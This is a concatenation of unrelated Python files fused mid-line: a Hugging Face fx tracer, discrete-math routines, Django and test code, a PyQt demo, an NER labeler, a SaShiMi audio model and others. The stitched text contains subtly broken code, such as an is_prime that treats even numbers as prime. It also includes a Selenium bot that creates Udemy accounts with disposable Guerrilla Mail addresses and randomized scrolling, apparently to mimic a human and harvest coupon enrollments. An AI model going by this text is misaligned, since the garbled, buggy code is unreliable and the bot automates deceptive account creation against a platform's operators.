proxy = v torch.fx.node.map_aggregate(args, check_has_proxy) torch.fx.node.map_aggregate(kwargs, check_has_proxy) if proxy is not None: return proxy.tracer.create_proxy("call_function", target, args, kwargs) else: return target(*args, **kwargs) return wrapper, target def _generate_random_int(low: int = 10, high: int = 20, forbidden_values: Optional[List[int]] = None): if forbidden_values is None: forbidden_values = [] value = random.randint(low, high) while value in forbidden_values: value = random.randint(low, high) return value class HFTracer(Tracer): """ Tracer that is able to symbolically trace models from the library. To do that, it uses the HFProxy instead of the regular PyTorch torch.fx.Proxy. """ # Feature flag for proxying accesses to buffer values proxy_buffer_attributes: bool = True allow_insert_stateless_mods: bool = True _TORCH_METHODS_TO_PATCH = ["arange", "zeros", "ones", "full", "full_like", "eye", "empty", "tensor"] def __init__(self, autowrap_modules=(math,), autowrap_functions=()): super().__init__(autowrap_modules=autowrap_modules, autowrap_functions=autowrap_functions) if not is_torch_fx_available(): torch_version = version.parse(importlib_metadata.version("torch")) raise ImportError( f"Found an incompatible version of torch. Found version {torch_version}, but only version " f"{TORCH_FX_REQUIRED_VERSION} is supported." ) def _generate_dummy_input( self, model: PreTrainedModel, input_name: str, shape: List[int] ) -> Dict[str, torch.Tensor]: """Generates dummy input for model inference recording.""" # Retrieving the model class, either from the "class_for_deserialization" attribute if the model was restored # from pickle, or from the "__class__" attribute in the general case. model_class_name = getattr(model, "class_for_deserialization", model.__class__).__name__ device = model.device inputs_dict = {} if input_name in ["labels", "start_positions", "end_positions"]: batch_size = shape[0] if model_class_name in get_values(MODEL_FOR_MULTIPLE_CHOICE_MAPPING_NAMES): inputs_dict["labels"] = torch.zeros(batch_size, dtype=torch.long, device=device) elif model_class_name in [ *get_values(MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES), "XLNetForQuestionAnswering", ]: inputs_dict["start_positions"] = torch.zeros(batch_size, dtype=torch.long, device=device) inputs_dict["end_positions"] = torch.zeros(batch_size, dtype=torch.long, device=device) elif model_class_name in get_values(MODEL_FOR_SEQUENCE_CLASSIFICATION_MAPPING_NAMES): if not hasattr(model.config, "problem_type") or model.config.problem_type is None: raise ValueError( "Could not retrieve the problem type for the sequence classification task, please set " 'model.config.problem_type to one of the following values: "regression", ' '"single_label_classification", or "multi_label_classification".' ) if model.config.problem_type == "regression": labels_shape = (batch_size, model.config.num_labels) labels_dtype = torch.float32 elif model.config.problem_type == "single_label_classification": labels_shape = (batch_size,) labels_dtype = torch.long elif model.config.problem_type == "multi_label_classification": labels_shape = (batch_size, model.config.num_labels) labels_dtype = torch.float32 else: raise ValueError( 'Expected model.config.problem_type to be either: "regression", "single_label_classification"' f', or "multi_label_classification", but "{model.config.problem_type}" was provided.' ) inputs_dict["labels"] = torch.zeros(*labels_shape, dtype=labels_dtype, device=device) elif model_class_name in [ *get_values(MODEL_FOR_NEXT_SENTENCE_PREDICTION_MAPPING_NAMES), *get_values(MODEL_FOR_IMAGE_CLASSIFICATION_MAPPING_NAMES), ]: inputs_dict["labels"] = torch.zeros(batch_size, dtype=torch.long, device=device) elif model_class_name in [ *get_values(MODEL_FOR_PRETRAINING_MAPPING_NAMES), *get_values(MODEL_FOR_TOKEN_CLASSIFICATION_MAPPING_NAMES), *get_values(MODEL_FOR_CAUSAL_LM_MAPPING_NAMES), *get_values(MODEL_FOR_MASKED_LM_MAPPING_NAMES), *get_values(MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING_NAMES), "GPT2DoubleHeadsModel", ]: inputs_dict["labels"] = torch.zeros(shape, dtype=torch.long, device=device) else: raise NotImplementedError(f"{model_class_name} not supported yet.") elif "pixel_values" in input_name: batch_size = shape[0] image_size = getattr(model.config, "image_size", None) if image_size is None: if hasattr(model.config, "vision_config"): image_size = model.config.vision_config.image_size elif hasattr(model.config, "encoder"): image_size = model.config.encoder.image_size else: raise AttributeError('Could not find the "image_size" field in the model config') # If no num_channels is in the config, use some arbitrary value. num_channels = getattr(model.config, "num_channels", 3) if not isinstance(image_size, collections.abc.Iterable): image_size = (image_size, image_size) height, width = image_size inputs_dict[input_name] = torch.zeros( batch_size, num_channels, height, width, dtype=torch.float32, device=device ) elif "bbox" in input_name: inputs_dict[input_name] = torch.zeros(*shape, 4, dtype=torch.float, device=device) elif "input_features" in input_name: inputs_dict[input_name] = torch.zeros( *shape, model.config.input_feat_per_channel, dtype=torch.float, device=device ) elif "visual_feats" in input_name: inputs_dict[input_name] = torch.zeros( shape + [ model.config.visual_feat_dim, ], dtype=torch.float, device=device, ) elif "visual_pos" in input_name: inputs_dict[input_name] = torch.zeros( shape + [ model.config.visual_pos_dim, ], dtype=torch.float, device=device, ) elif "inputs" in input_name: inputs_dict[input_name] = torch.zeros(*shape, dtype=torch.float, device=device) elif "input_values" in input_name: batch_size, _ = shape # Generating big sequence length for audio inputs. seq_length = _generate_random_int(low=10000, high=20000) inputs_dict[input_name] = torch.zeros(batch_size, seq_length, dtype=torch.float, device=device) elif "mask" in input_name or "ids" in input_name: inputs_dict[input_name] = torch.zeros(shape, dtype=torch.long, device=device) else: shape_with_hidden_size = shape + [model.config.hidden_size] inputs_dict[input_name] = torch.zeros(shape_with_hidden_size, dtype=torch.float, device=device) return inputs_dict def create_proxy(self, kind, target, args, kwargs, name=None, type_expr=None, proxy_factory_fn=None): rv = super().create_proxy(kind, target, args, kwargs, name, type_expr, proxy_factory_fn) if kind == "placeholder" and target in self.meta_args: rv.install_metadata(self.meta_args[target]) return rv if target in self.orig_fns: # NOTE: tensor constructors in PyTorch define the `device` argument as # *kwargs-only*. That is why this works. If you add methods to # _TORCH_METHODS_TO_PATCH that do not define `device` as kwarg-only, # this will break and you will likely see issues where we cannot infer # the size of the output. if "device" in kwargs: kwargs["device"] = "meta" try: args_metas = torch.fx.node.map_aggregate(args, _proxies_to_metas) kwargs_metas = torch.fx.node.map_aggregate(kwargs, _proxies_to_metas) if kind == "call_function": meta_target = _MANUAL_META_OVERRIDES.get(target, target) meta_out = meta_target(*args_metas, **kwargs_metas) if isinstance(meta_out, torch.Tensor): meta_out = meta_out.to(device="meta") elif kind == "call_method": method = getattr(args_metas[0].__class__, target) meta_target = _MANUAL_META_OVERRIDES.get(method, method) meta_out = meta_target(*args_metas, **kwargs_metas) elif kind == "call_module": if not hasattr(self, "orig_forward"): raise AttributeError(f"{self} does not have an attribute called orig_forward") self._disable_module_getattr = True try: mod = self.root.get_submodule(target) mod_type = type(mod) if mod_type in _MANUAL_META_OVERRIDES: meta_out = _MANUAL_META_OVERRIDES[mod_type](mod, *args_metas, **kwargs_metas) else: meta_out = self.orig_forward(*args_metas, **kwargs_metas) finally: self._disable_module_getattr = False elif kind == "get_attr": self._disable_module_getattr = True try: attr_itr = self.root atoms = target.split(".") for atom in atoms: attr_itr = getattr(attr_itr, atom) if isinstance(attr_itr, torch.Tensor): meta_out = attr_itr.to(device="meta") else: meta_out = attr_itr finally: self._disable_module_getattr = False else: return rv if not isinstance(rv, Proxy): raise ValueError("Don't support composite output yet") rv.install_metadata(meta_out) except Exception as e: warnings.warn(f"Could not compute metadata for {kind} target {target}: {e}") return rv def _module_getattr(self, attr, attr_val, parameter_proxy_cache): if getattr(self, "_disable_module_getattr", False): return attr_val else: # return super()._module_getattr(attr, attr_val, parameter_proxy_cache) def maybe_get_proxy_for_attr(attr_val, collection_to_search, parameter_proxy_cache): for n, p in collection_to_search: if attr_val is p: if n not in parameter_proxy_cache: kwargs = {} if "proxy_factory_fn" in inspect.signature(self.create_proxy).parameters: kwargs["proxy_factory_fn"] = ( None if not self.param_shapes_constant else lambda node: ParameterProxy(self, node, n, attr_val) ) val_proxy = self.create_proxy("get_attr", n, (), {}, **kwargs) # type: ignore[arg-type] parameter_proxy_cache[n] = val_proxy return parameter_proxy_cache[n] return None if isinstance(attr_val, torch.nn.Parameter): maybe_parameter_proxy = maybe_get_proxy_for_attr( attr_val, self.root.named_parameters(), parameter_proxy_cache ) if maybe_parameter_proxy is not None: return maybe_parameter_proxy if self.proxy_buffer_attributes and isinstance(attr_val, torch.Tensor): maybe_buffer_proxy = maybe_get_proxy_for_attr( attr_val, self.root.named_buffers(), parameter_proxy_cache ) if maybe_buffer_proxy is not None: return maybe_buffer_proxy return attr_val def call_module(self, m, forward, args, kwargs): self.orig_forward = forward return super().call_module(m, forward, args, kwargs) def proxy(self, node): return HFProxy(node, self) def trace( self, root: PreTrainedModel, concrete_args: Optional[Dict[str, Any]] = None, method_names: Optional[Iterable[str]] = None, ) -> Graph: if concrete_args is None: concrete_args = {} sig = inspect.signature(root.forward) input_names = sig.parameters.keys() - concrete_args.keys() # Creating a random input shape to generate dummy inputs. batch_size = _generate_random_int() sequence_length = _generate_random_int() shape = [batch_size, sequence_length] if root.__class__.__name__ in get_values(MODEL_FOR_MULTIPLE_CHOICE_MAPPING_NAMES): num_choices = _generate_random_int(low=2, high=5) shape.insert(1, num_choices) inputs = {} for input_name in input_names: inputs.update(self._generate_dummy_input(root, input_name, shape)) concrete_metas = {input_name: input_.to("meta") for input_name, input_ in inputs.items()} self.meta_args = concrete_metas self.patched_torch_methods = { target: _gen_constructor_wrapper(getattr(torch, target)) for target in self._TORCH_METHODS_TO_PATCH } self.orig_fns = set() for name, (wrapper, orig) in self.patched_torch_methods.items(): setattr(torch, name, wrapper) self.orig_fns.add(orig) try: self.graph = super().trace(root, concrete_args=concrete_args) finally: for name, (_, orig) in self.patched_torch_methods.items(): setattr(torch, name, orig) # This is necessary because concrete args are added as input to the traced module since # https://github.com/pytorch/pytorch/pull/55888. for node in self.graph.nodes: if node.op == "placeholder": # Removing default values for inputs as the forward pass will fail with them. if node.target in input_names: node.args = () # Without this, torch.jit.script fails because the inputs type is Optional[torch.Tensor]. # It cannot infer on the attributes and methods the input should have, and fails. node.type = torch.Tensor # It is a concrete arg so it is not used and should be removed. else: if hasattr(torch.fx._symbolic_trace, "_assert_is_none"): # Newer versions of torch.fx emit an assert statement # for concrete arguments; delete those before we delete # the concrete arg. to_delete = [] for user in node.users: if user.target == torch.fx._symbolic_trace._assert_is_none: to_delete.append(user) for user in to_delete: self.graph.erase_node(user) self.graph.erase_node(node) # TODO: solves GraphModule creation. # Without this, return type annotation "Tuple" is causing code execution failure. if node.op == "output": node.type = None return self.graph def _stateless_mod_instanciation_depends_on_proxies(self, mod: nn.Module) -> bool: """ Whether the module was instantiated with Proxies. If that is the case, such module cannot be a leaf module because its attributes are input-dependent. """ return any(isinstance(attr, Proxy) for attr in mod.__dict__.values()) def _insert_module_as_submodule(self, mod: nn.Module) -> str: """ Helper method which tries to insert a module that was not declared as submodule. """ # If one of the module attributes is a Proxy, it means that its instantiation is input-dependent. # It is not possible to insert such modules, those should be traced through. if self._stateless_mod_instanciation_depends_on_proxies(mod): return "" idx = 0 mod_name = mod.__class__.__name__.lower() path = f"{mod_name}_{idx}" already_inserted = False while hasattr(self.root, path): if getattr(self.root, path) is mod: already_inserted = True break path = f"{mod_name}_{idx}" idx += 1 # No need to add multiple instances of the same module. if not already_inserted: self.root.add_module(path, mod) return path def path_of_module(self, mod: nn.Module) -> str: """ Helper method to find the qualified name of `mod` in the Module hierarchy of `root`. For example, if `root` has a submodule named `foo`, which has a submodule named `bar`, passing `bar` into this function will return the string "foo.bar". Args: mod (str): The `Module` to retrieve the qualified name for. """ try: return super().path_of_module(mod) except NameError as e: if self.allow_insert_stateless_mods and len(list(mod.parameters())) == 0 and len(list(mod.buffers())) == 0: path = self._insert_module_as_submodule(mod) return path raise e def is_leaf_module(self, m: torch.nn.Module, module_qualified_name: str) -> bool: return (not self._stateless_mod_instanciation_depends_on_proxies(m)) and super().is_leaf_module( m, module_qualified_name ) def symbolic_trace( model: PreTrainedModel, input_names: Optional[List[str]] = None, ) -> GraphModule: """ Performs symbolic tracing on the model. Args: model ([`PretrainedModel`]): The model to trace. input_names (`List[str]`, *optional*): The names of the inputs of the traced model. If unset, model.dummy_inputs.keys() are used instead. Returns: `torch.fx.GraphModule`: A GraphModule constructed by recording operations seen while tracing the model. Example: ```python from transformers.utils.fx import symbolic_trace traced_model = symbolic_trace(model, input_names=["input_ids", "attention_mask", "token_type_ids"]) ``` """ if input_names is None: input_names = model.dummy_inputs.keys() input_names = list(input_names) sig = inspect.signature(model.forward) if not (set(input_names) <= set(sig.parameters.keys())): formatted_input_names = input_names[0] if len(input_names) == 1 else ", ".join(input_names) formatted_allowed_input_names = ", ".join(sig.parameters.keys()) raise ValueError( f"The model does not have input(s) named: {formatted_input_names}, expected a subset of the following:" f" {formatted_allowed_input_names}" ) concrete_args = {p.name: p.default for p in sig.parameters.values() if p.name not in input_names} if model.__class__.__name__ not in _SUPPORTED_MODELS: supported_model_names = ", ".join(_SUPPORTED_MODELS) raise NotImplementedError( f"Model {model.__class__.__name__} is not supported yet, supported models: {supported_model_names}" ) # Tracing. tracer = HFTracer() traced_graph = tracer.trace(model, concrete_args=concrete_args) traced = torch.fx.GraphModule(model, traced_graph) traced.config = model.config # The model class must be stored as an attribute to allow model deserialization, which uses trace, and thus # _generate_dummy_input, where the model class is needed. traced.class_for_deserialization = model.__class__ traced.device = model.device return traced """ algorithms from section 2.5, Rosen's DMA 5th by 28.11.2014 """ def get_expansion(num, base=2): expansion = [] while num > 0: expansion = [num % base] + expansion num //= base return expansion def add(lhs, rhs, base=2): l = get_expansion(lhs, base) r = get_expansion(rhs, base) size = max(len(l), len(r)) l = [0] * (size-len(l)) + l r = [0] * (size-len(r)) + r ret = [] carry = 0 for i in reversed(range(size)): digit_sum = l[i] + r[i] + carry ret = [digit_sum % base] + ret carry = digit_sum//base if carry > 0: ret = [carry] + ret return ret def multiply(lhs, rhs): l = get_expansion(lhs) list_for_ret = [] for i in range(len(l)): if l[i]: list_for_ret += [rhs << (len(l) - i - 1)] ret = 0 for num in list_for_ret: ret += num return ret def division(lhs, rhs): quotient = 0 remainder = abs(lhs) while remainder >= rhs: remainder -= rhs quotient += 1 if lhs < 0: if remainder > 0: remainder = rhs - remainder quotient = -(quotient+1) return quotient, remainder def modular_exponentiation(b, n, m): expansion = get_expansion(n) result = 1 power = b % m for bit in expansion: if bit: result = result * power % m power = power ** 2 % m return result def gcd(lhs, rhs): while rhs: rmd = lhs % rhs lhs = rhs rhs = rmd return lhs def is_prime(num): if num < 2: return False for checker in range(3, num//2+1): if num % checker == 0: return False return True def make_factorial_list(size=13): ret = [0] * size ret[0] = 1 for idx in range(1, size): ret[idx] = idx * ret[idx-1] return ret def cantor_expansion(num): fac_seq = make_factorial_list(15) ret = [0] * 15 for curr in reversed(range(15)): while fac_seq[curr] <= num: num -= fac_seq[curr] ret[curr] += 1 return retfrom django.shortcuts import render from .serializer import * # Create your views here. class ItemList(APIView): def get(self,request,format=None): all_items = Item.objects.all() serializers = ItemSerializer (all_items,many=True) return Response(serializers.data) class OrderSerializer(APIView): def get(self,request,format=None): all_orders = Order.objects.all() serializers = OrderSerializer(all_orders,many=True) return Response(serializers.data)import unittest from openlostcat.operators.bool_operators import BoolAND, BoolOR, BoolConst from openlostcat.utils import to_tag_bundle_set from tests.booloperators import test_operators_list class TestAndOr(unittest.TestCase): def test_AND(self): validation = [False, False, True, False, False, False, True, False] for (test, valid) in list(zip(test_operators_list, validation)): self.assertEqual( BoolAND(test).apply(to_tag_bundle_set([]))[0], valid) def test_OR(self): validation = [True, True, True, False, True, True, True, False] for (test, valid) in list(zip(test_operators_list, validation)): self.assertEqual( BoolOR(test).apply(to_tag_bundle_set([]))[0], valid) if __name__ == '__main__': unittest.main() python/pyqt/pyqt5/widget_QTreeView_with_multiple_columns_append_example.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Ref: http://doc.qt.io/qt-5/modelview.html#2-1-a-read-only-table import sys from PyQt5.QtCore import Qt, QVariant from PyQt5.QtGui import QStandardItemModel, QStandardItem from PyQt5.QtWidgets import QApplication, QTreeView if __name__ == '__main__': app = QApplication(sys.argv) tree_view = QTreeView() ### model = QStandardItemModel(None) row1 = [QStandardItem("a"), QStandardItem("b")] row2 = [QStandardItem("c"), QStandardItem("d")] row3 = [QStandardItem("e"), QStandardItem("f")] row4 = [QStandardItem("g"), QStandardItem("h")] row5 = [QStandardItem("i"), QStandardItem("j")] root_item = model.invisibleRootItem() root_item.appendRow(row1) row1[0].appendRow(row2) row1[0].appendRow(row3) #row1[1].appendRow(row4) # ignored root_item.appendRow(row5) ### tree_view.setModel(model) tree_view.expandAll() # expand all (this is not the case by default) tree_view.show() # The mainloop of the application. The event handling starts from this point. # The exec_() method has an underscore. It is because the exec is a Python keyword. And thus, exec_() was used instead. exit_code = app.exec_() # The sys.exit() method ensures a clean exit. # The environment will be informed, how the application ended. sys.exit(exit_code) def checkReward(): print("当前可兑换的奖励：") with open("Storage/reward.csv") as file: for line in file: # 只打印出状态为未完成的状态 line_list = line.strip("\n").split(",") if line_list[4] != "0": print(line.strip("\n")) def getReward(rewardNum): file_data = "" consume = 0 with open("Storage/reward.csv", "r") as f: for line in f: line_list = line.strip("\n").split(",") if line_list[0] == str(rewardNum) and line_list[4] != "0": consume = int(line_list[2]) line_list[3] = str(int(line_list[3])-1) newLine = ",".join(line_list) line = line.replace(line, newLine) + "\n" print("您兑换的奖励为：") print("No：" + line_list[0] + " 奖励：《" + line_list[1] + "》") file_data += line with open("Storage/reward.csv","w") as f: f.write(file_data) player_file_data = "" with open("Storage/PlayerInfomation", "r") as pf: for line in pf: line_list = line.strip("\n").split(":") if line_list[0] == "金币": newGODEN = int(line_list[1]) - int(consume) new_line = "金币:" + str(newGODEN) + "\n" player_file_data += new_line else: player_file_data += line with open("Storage/PlayerInfomation","w") as pf: pf.write(player_file_data) if __name__ == '__main__': getReward(1) print("\n") checkReward()import abc from genomicinfo.entity_extraction.ner.nala.data import Label import re import warnings class TokenLabeler: """ Abstract class for generating labels for each token in the dataset. Subclasses that inherit this class should: * Be named [Name]Labeler * Implement the abstract method label * Append new items to the list field "original_labels" of each Token in the dataset """ @abc.abstractmethod def label(self, dataset): """ :type dataset: nalaf.structures.data.Dataset """ pass class Labeler(TokenLabeler): @abc.abstractmethod def label(self, dataset): warnings.warn('Deprecated. Instead, use: TokenLabeler', DeprecationWarning) return super.label(dataset) class BIOLabeler(TokenLabeler): """ Implements a simple labeler using the annotations of the dataset using the BIO (beginning, inside, outside) format. Creates labels based on the class_id value in the Annotation object. That is: * B-[class_id] * I-[class_id] * O Requires the list field "annotations" to be previously set. Implements the abstract class Labeler. """ def label(self, dataset): """ :type dataset: nalaf.structures.data.Dataset """ for part in dataset.parts(): for sentence in part.sentences: for token in sentence: token.original_labels = [Label('O')] for ann in part.annotations: start = ann.offset end = ann.offset + len(ann.text) if start == token.start: token.original_labels[0].value = 'B-{}'.format(ann.class_id) break elif start < token.start < end: token.original_labels[0].value = 'I-{}'.format(ann.class_id) breakimport pytest import requests from django.contrib.auth import get_user_model from email_auth import models pytest.importorskip("rest_framework") # Imports that require "rest_framework" from email_auth.interfaces.rest import views, serializers # noqa def test_get_serializer_class(): """ Test the serializer class used by the view. """ view = views.EmailVerificationRequestView() expected = serializers.EmailVerificationRequestSerializer assert view.get_serializer_class() == expected @pytest.mark.functional_test def test_request_verification_email(live_server, mailoutbox, settings): """ Sending a ``POST`` request to the endpoint with an unverified email address should send an email with a new verification token to the user. """ url_template = "https://localhost/verify-email/{key}" settings.EMAIL_AUTH = {"EMAIL_VERIFICATION_URL": url_template} user = get_user_model().objects.create_user(username="test-user") email = models.EmailAddress.objects.create( address="", user=user ) data = {"email": email.address} url = f"{live_server}/rest/email-verification-requests/" response = requests.post(url, data) assert response.status_code == 201 assert response.json() == data assert len(mailoutbox) == 1 msg = mailoutbox[0] assert msg.to == [email.address] assert url_template.format(key=email.verifications.get().token) in msg.body @pytest.mark.functional_test def test_request_verification_email_already_verified(live_server, mailoutbox): """ Sending a ``POST`` request to the endpoint with a verified email address should send an email notifying the user the email is already registered. """ user = get_user_model().objects.create_user(username="test-user") email = models.EmailAddress.objects.create( address="", is_verified=True, user=user ) data = {"email": email.address} url = f"{live_server}/rest/email-verification-requests/" response = requests.post(url, data) assert response.status_code == 201 assert response.json() == data assert len(mailoutbox) == 1 msg = mailoutbox[0] assert msg.to == [email.address] assert "already been verified" in msg.subject.lower() @pytest.mark.functional_test def test_request_verification_email_unknown_address(live_server, mailoutbox): """ Sending a ``POST`` request to the endpoint with an unknown email address should send an email notifying the user their email address has not been registered yet. """ data = {"email": ""} url = f"{live_server}/rest/email-verification-requests/" response = requests.post(url, data) assert response.status_code == 201 assert response.json() == data assert len(mailoutbox) == 1 msg = mailoutbox[0] assert msg.to == [data["email"]] assert "unregistered email" in msg.subject.lower() 0 # pylint: disable=unused-wildcard-import from helium import * from selenium.webdriver.common.by import By from helper import tik, report, rand_scroll from models import CourseModel, CouponModel, AccountModel class NewAccountWorker: def __init__(self, driver, account): self.driver = driver self.account = account helium.set_driver(self.driver) #@report('REGISTERING ACCOUNT') def new_account(self): self.driver.get('https://www.udemy.com/?persist_locale=&locale=en_US') tik().s click('Sign up') tik().m click(S('#id_fullname')) tik().s write(self.account.name) tik().s click(S('#email--1')) tik().m write(self.account.email) tik().m click(S('#password')) tik().s write(self.account.pwd) tik().s click(S('#submit-id-submit')) tik().l if Button('Skip for now').exists: click('Skip for now') tik().m if not 'join/signup-popup/' in self.driver.current_url: return True return False #@report('SETTING PROFILE ACCOUNT') def set_profile(self): self.driver.tab_new('https://www.udemy.com/user/edit-profile/') self.driver.switch_to.window(self.driver.window_handles[-1]) tik().l write(self.account.quote, into=TextField(above=Text( text='Links and coupon codes are not permitted in this section.'))) tik().m scroll_down(rand_scroll(3)) tik().s scroll_down(rand_scroll(3)) tik().s scroll_down(rand_scroll(3)) tik().s click(S('#submit-id-submit')) tik().l self.driver.get('https://www.udemy.com/user/' + self.account.name.replace(' ', '-').lower() + '/') tik().m if Text(text=self.account.name).exists: return True return False #@report('CONFIRMING ACCOUNT', tries=2) def new_email(self): self.driver.tab_new('https://www.guerrillamail.com/inbox') self.driver.switch_to.window(self.driver.window_handles[-1]) tik().l click(S('#forget_button')) # click('Forget Me') tik().l select(ComboBox("sharklasers.com"), self.account.email.split('@')[1]) tik().m click(S('#inbox-id')) tik().m write(self.account.user) tik().m click('Set') tik().l if S('#inbox-id').web_element.text != self.account.user: self.driver.refresh() tik().m self.new_email() tik().x wait_until(Text(text='').exists, interval_secs=1, timeout_secs=900) click(Text(text='')) tik().x scroll_down(rand_scroll(3)) tik().s scroll_down(rand_scroll(3)) tik().s click(Link(text='Yes, please')) tik().l if Link(text='My learning').exists: return True return False # def perform(self): # if self.new_account(): # if self.new_email(): # if self.set_profile(): # return True # return False def perform(self): if self.new_account(): # if self.new_email(): if self.set_profile(): return True return False class JoinWorker: def __init__(self, driver, account): self.driver = driver self.account = account helium.set_driver(self.driver) #@report('CHECKING IF IS LOGGED IN') def _is_loggedin(self): if self.driver.current_url == 'https://www.udemy.com/user/edit-profile/': return True self.driver.get('https://www.udemy.com/user/edit-profile/') tik().m if not 'join/login-popup/' in self.driver.current_url: return True return False #@report('SIGN IN ACCOUNT') def login(self): if self._is_loggedin(): return True tik().m click(S('#submit-id-submit')) tik().m write(self.account.pwd, into=TextField(label='Password')) tik().m click(S('#submit-id-submit')) tik().m return self._is_loggedin() #@report('SIGN OUT ACCOUNT') def logout(self): if not self._is_loggedin(): return True tik().l logout_link = self.driver.find_element(By.XPATH, '//a[contains(@href,"/user/logout/")]').get_attribute('href') tik().s self.driver.get(logout_link) tik().m return self._is_loggedin() class EnrollWorker: def __init__(self, driver, account): self.driver = driver self.account = account helium.set_driver(self.driver) def _get_coupons(self, course: CourseModel): return [coupon for coupon in course.coupons if coupon.is_valid] def checkout(self): tik().s if Text(text='Your cart is free!').exists and Button(text='Enroll now').exists: click(Button(text='Enroll now')) tik().l if 'cart/success/' in self.driver.current_url: return True return False def enroll(self, coupon: CouponModel): try: self.driver.get(coupon.coupon_url) except Exception: return False tik().l scroll_down(rand_scroll(2)) tik().s scroll_up(rand_scroll(1)) tik().s if not coupon.coupon_key in self.driver.current_url: return False if Button(text='Enroll now').exists: try: click(Button(text='Enroll now')) tik().l except Exception: return False else: if self.checkout(): return True return False 10-100 # login script import sys import time import uiautomator2 as u2 def wait(seconds=10): for i in range(0, seconds): print("wait 1 second ..") time.sleep(1) if __name__ == '__main__': avd_serial = sys.argv[1] device_type = sys.argv[2] d = u2.connect(avd_serial) # d.WAIT_FOR_DEVICE_TIMEOUT = 70 d.app_start("fr.free.nrw.commons") wait() current_app = d.app_current() print(current_app) while True: if current_app['package'] == "fr.free.nrw.commons" and \ ".WelcomeActivity" in current_app['activity']: break time.sleep(2) wait() d.swipe_ext("left") print("swipe left") wait() d.swipe_ext("left") print("swipe left") wait() d.swipe_ext("left") print("swipe left") wait() d.swipe_ext("left") print("swipe left") wait() out = d(className="android.widget.Button", resourceId="fr.free.nrw.commons:id/finishTutorialButton").click() if not out: print("SUCCESS") wait() out = d(className="android.widget.EditText", resourceId="fr.free.nrw.commons:id/login_username").set_text("DroidFuzzing1") if out: print("SUCCESS") wait() out = d(className="android.widget.EditText", resourceId="fr.free.nrw.commons:id/login_password").set_text("") if out: print("SUCCESS") if device_type == "humandroid": wait() d.press("back") wait() out = d(className="android.widget.Button", resourceId="fr.free.nrw.commons:id/login_button").click() if not out: print("SUCCESS") wait() current_app = d.app_current() print(current_app['package']) print(current_app['activity']) if current_app['package'] == "fr.free.nrw.commons" and \ "contributions.MainActivity" in current_app['activity']: print("****Login SUCCESS******") else: print("Login Failed") while True: d.service("uiautomator").stop() time.sleep(2) out = d.service("uiautomator").running() if not out: print("DISCONNECT UIAUTOMATOR2 SUCCESS") break time.sleep(2) """ SaShiMi backbone. Use this backbone in your own models. You'll also need to copy over the standalone S4 layer, which can be found at `state-spaces/src/models/sequence/ss/standalone/s4.py`. It's Raw! Audio Generation with State-Space Models , , , . """ import sys sys.path.append('../') import torch import torch.nn as nn import torch.nn.functional as F from einops import rearrange from src.models.sequence.ss.standalone.s4 import LinearActivation, S4 class DownPool(nn.Module): def __init__(self, d_input, expand, pool): super().__init__() self.d_output = d_input * expand self.pool = pool self.linear = LinearActivation( d_input * pool, self.d_output, transposed=True, weight_norm=True, ) def forward(self, x): x = rearrange(x, '... h (l s) -> ... (h s) l', s=self.pool) x = self.linear(x) return x, None def step(self, x, state, **kwargs): """ x: (..., H) """ if x is None: return None, state state.append(x) if len(state) == self.pool: x = rearrange(torch.stack(state, dim=-1), '... h s -> ... (h s)') x = x.unsqueeze(-1) x = self.linear(x) x = x.squeeze(-1) return x, [] else: return None, state def default_state(self, *args, **kwargs): return [] class UpPool(nn.Module): def __init__(self, d_input, expand, pool): super().__init__() self.d_output = d_input // expand self.pool = pool self.linear = LinearActivation( d_input, self.d_output * pool, transposed=True, weight_norm=True, ) def forward(self, x, skip=None): x = self.linear(x) x = F.pad(x[..., :-1], (1, 0)) # Shift to ensure causality x = rearrange(x, '... (h s) l -> ... h (l s)', s=self.pool) if skip is not None: x = x + skip return x, None def step(self, x, state, **kwargs): """ x: (..., H) """ assert len(state) > 0 y, state = state[0], state[1:] if len(state) == 0: assert x is not None x = x.unsqueeze(-1) x = self.linear(x) x = x.squeeze(-1) x = rearrange(x, '... (h s) -> ... h s', s=self.pool) state = list(torch.unbind(x, dim=-1)) else: assert x is None return y, state def default_state(self, *batch_shape, device=None): state = torch.zeros(batch_shape + (self.d_output, self.pool), device=device) # (batch, h, s) state = list(torch.unbind(state, dim=-1)) # List of (..., H) return state class FFBlock(nn.Module): def __init__(self, d_model, expand=2, dropout=0.0): """ Feed-forward block. Args: d_model: dimension of input expand: expansion factor for inverted bottleneck dropout: dropout rate """ super().__init__() input_linear = LinearActivation( d_model, d_model * expand, transposed=True, activation='gelu', activate=True, ) dropout = nn.Dropout2d(dropout) if dropout > 0.0 else nn.Identity() output_linear = LinearActivation( d_model * expand, d_model, transposed=True, activation=None, activate=False, ) self.ff = nn.Sequential( input_linear, dropout, output_linear, ) def forward(self, x): return self.ff(x), None def default_state(self, *args, **kwargs): return None def step(self, x, state, **kwargs): # expects: (B, D, L) return self.ff(x.unsqueeze(-1)).squeeze(-1), state class ResidualBlock(nn.Module): def __init__( self, d_model, layer, dropout=0.0, ): """ Residual S4 block. Args: d_model: dimension of the model bidirectional: use bidirectional S4 layer glu: use gated linear unit in the S4 layer dropout: dropout rate """ super().__init__() self.layer = layer self.norm = nn.LayerNorm(d_model) self.dropout = nn.Dropout2d(dropout) if dropout > 0.0 else nn.Identity() def forward(self, x): """ Input x is shape (B, d_input, L) """ z = x # Prenorm z = self.norm(z.transpose(-1, -2)).transpose(-1, -2) # Apply layer: we ignore the state input and output for training z, _ = self.layer(z) # Dropout on the output of the layer z = self.dropout(z) # Residual connection x = z + x return x, None def default_state(self, *args, **kwargs): return self.layer.default_state(*args, **kwargs) def step(self, x, state, **kwargs): z = x # Prenorm z = self.norm(z) # Apply layer z, state = self.layer.step(z, state, **kwargs) # Residual connection x = z + x return x, state class Sashimi(nn.Module): def __init__( self, d_model=64, n_layers=8, pool=[4, 4], expand=2, ff=2, bidirectional=False, glu=True, unet=False, dropout=0.0, ): """ SaShiMi model backbone. Args: d_model: dimension of the model. We generally use 64 for all our experiments. n_layers: number of (Residual (S4) --> Residual (FF)) blocks at each pooling level. We use 8 layers for our experiments, although we found that increasing layers even further generally improves performance at the expense of training / inference speed. pool: pooling factor at each level. Pooling shrinks the sequence length at lower levels. We experimented with a pooling factor of 4 with 1 to 4 tiers of pooling and found 2 tiers to be best. It's possible that a different combination of pooling factors and number of tiers may perform better. expand: expansion factor when pooling. Features are expanded (i.e. the model becomes wider) at lower levels of the architecture. We generally found 2 to perform best (among 2, 4). ff: expansion factor for the FF inverted bottleneck. We 